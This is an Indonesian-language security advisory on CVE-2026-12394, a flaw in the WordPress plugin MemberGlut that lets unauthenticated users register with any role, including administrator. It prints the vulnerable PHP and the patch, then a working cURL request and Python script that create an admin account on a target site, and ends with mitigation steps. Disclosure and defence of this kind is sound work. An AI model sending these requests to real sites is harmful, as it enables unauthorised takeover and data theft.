CVE-2026-12394: Celah Kritis pada Plugin WordPress MemberGlut – Eksploitasi Registrasi Tanpa Validasi Role (CVSS 9.8)
Sebuah kerentanan kritis baru-baru ini ditemukan pada plugin WordPress populer, MemberGlut, yang digunakan untuk mengelola keanggotaan dan registrasi pengguna. Dengan skor CVSS v3.1 sebesar 9.8 (Critical), celah ini memungkinkan pengguna tidak terautentikasi untuk mendaftar akun dengan peran (role) arbitrer, termasuk administrator. Dampaknya sangat serius: penyerang dapat mengambil alih kendali penuh situs WordPress. Artikel ini akan membahas detail teknis CVE-2026-12394, contoh eksploitasi, dan langkah mitigasi yang harus segera dilakukan.
Penjelasan Teknis CVE-2026-12394
Plugin MemberGlut (sebelum versi 1.1.5) menyediakan formulir registrasi front-end. Pada saat pemrosesan pendaftaran, plugin gagal memvalidasi peran (role) yang dipilih oleh pengguna. Dalam WordPress, setiap akun memiliki peran seperti subscriber, contributor, editor, administrator, dll. Umumnya, registrasi front-end hanya boleh memberikan peran subscriber atau peran yang ditentukan oleh administrator. Namun, MemberGlut tidak memeriksa apakah peran yang dikirimkan melalui permintaan HTTP sesuai dengan daftar peran yang diizinkan.
Akibatnya, penyerang dapat mengirim permintaan registrasi dengan parameter role diisi administrator. Celah ini terdapat pada fungsi process_registration() di file includes/class-memberglut-registration.php (versi < 1.1.5).
// Potongan kode rentan (sebelum patch)
public function process_registration( $data ) {
// ... validasi lain dilakukan, tetapi role tidak divalidasi
$user_role = sanitize_text_field( $data['role'] ); // hanya sanitasi, tidak divalidasi
$user_id = wp_insert_user( array(
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $user_role,
) );
// ...
}
Perhatikan bahwa $user_role langsung digunakan dalam wp_insert_user tanpa diperiksa apakah peran tersebut diizinkan untuk registrasi front-end. Setelah diperbarui ke versi 1.1.5, plugin menambahkan validasi seperti berikut:
// Kode setelah patch (versi 1.1.5)
$allowed_roles = array( 'subscriber', 'contributor' ); // contoh
if ( ! in_array( $user_role, $allowed_roles ) ) {
$user_role = 'subscriber'; // fallback ke peran default
}
Dengan demikian, celah ditutup dengan memeriksa apakah peran yang dikirim termasuk dalam daftar peran yang diizinkan.
Dampak Kerentanan dan Sistem yang Terpengaruh
Dampak kerentanan ini sangat parah:
- Full Site Compromise: Penyerang dapat membuat akun administrator dan login ke dashboard WordPress, lalu memasang plugin berbahaya, mengubah konten, mencuri data pengguna, atau bahkan mengambil alih server.
- Skalabilitas Serangan: Karena eksploitasi tidak memerlukan autentikasi, botnet dapat mendaftarkan ribuan akun admin secara otomatis.
- Versi Rentan: Semua situs yang menggunakan MemberGlut versi di bawah 1.1.5 terpengaruh.
Meskipun plugin ini tidak sepopuler WooCommerce atau BuddyPress, penggunanya tetap signifikan di ekosistem WordPress.
Contoh Demonstrasi Eksploitasi
Eksploitasi sangat sederhana. Penyerang hanya perlu mengirimkan permintaan POST ke endpoint registrasi plugin (biasanya /wp-admin/admin-ajax.php?action=memberglut_register atau melalui halaman formulir registrasi). Berikut adalah contoh menggunakan cURL:
curl -X POST https://target-website.com/wp-admin/admin-ajax.php \
-d "action=memberglut_register" \
-d "username=eviladmin" \
-d "password=SecretPass123!" \
-d "[email protected]" \
-d "role=administrator"
Jika berhasil, akun eviladmin akan dibuat dengan peran administrator. Penyerang kemudian login dan memiliki kendali penuh. Berikut simulasi dengan script Python sederhana:
import requests
url = "https://target-website.com/wp-admin/admin-ajax.php"
payload = {
"action": "memberglut_register",
"username": "hacker_admin",
"password": "P@ssw0rd!",
"email": "[email protected]",
"role": "administrator"
}
response = requests.post(url, data=payload)
if "success" in response.text:
print("[+] Admin account created!")
else:
print("[-] Failed, plugin may be patched.")
Perhatikan bahwa endpoint dan parameter sebenarnya bisa berbeda tergantung konfigurasi plugin, namun prinsipnya sama: role tidak divalidasi.
Langkah-Langkah Mitigasi Detail
Prioritas utama adalah memperbarui plugin. Berikut langkah-langkah mitigasi:
1. Update Plugin ke Versi Terbaru
Segera perbarui MemberGlut ke versi 1.1.5 atau lebih baru melalui dashboard WordPress (Plugins > Installed Plugins > Update). Jika tidak ada pembaruan otomatis, unduh versi terbaru dari repositori resmi atau situs pengembang.
2. Workaround Jika Tidak Bisa Update
Jika karena alasan tertentu Anda tidak dapat memperbarui plugin segera, terapkan langkah sementara:
- Nonaktifkan registrasi front-end dengan menghapus shortcode atau blok formulir registrasi.
- Batasi akses ke endpoint registrasi menggunakan aturan firewall (misal:
.htaccess). Blokir akses keadmin-ajax.phpuntuk pengguna tidak terautentikasi jika tidak diperlukan. - Filter peran melalui hook — tambahkan potongan kode berikut ke
functions.phptema:
add_filter( 'memberglut_registration_role', 'restrict_registration_role', 10, 1 );
function restrict_registration_role( $role ) {
$allowed_roles = array( 'subscriber' ); // hanya subscriber
return in_array( $role, $allowed_roles ) ? $role : 'subscriber';
}
Catatan: hook ini mungkin tidak tersedia di versi lama; jika tidak, Anda perlu memodifikasi file plugin secara manual (tidak disarankan karena akan hilang saat update).
3. Audit Akun Pengguna
Periksa daftar pengguna di dashboard WordPress. Hapus akun mencurigakan yang memiliki peran administrator. Jika ada akun yang tidak dikenal, segera hapus dan ganti password admin yang sah.
Kesimpulan dan Rekomendasi
CVE-2026-12394 adalah contoh klasik dari kurangnya validasi input pada sisi server. Kerentanan ini memungkinkan privilege escalation tanpa autentikasi, yang merupakan salah satu ancaman terburuk dalam keamanan web. Setiap administrator WordPress yang menggunakan MemberGlut harus segera memperbarui plugin ke versi 1.1.5 atau lebih baru. Selain itu, selalu praktikkan least privilege dengan hanya mengizinkan peran minimal untuk registrasi front-end. Pantau terus pembaruan keamanan dari pengembang plugin dan lakukan audit periodik. Keamanan adalah proses berkesinambungan, bukan produk jadi.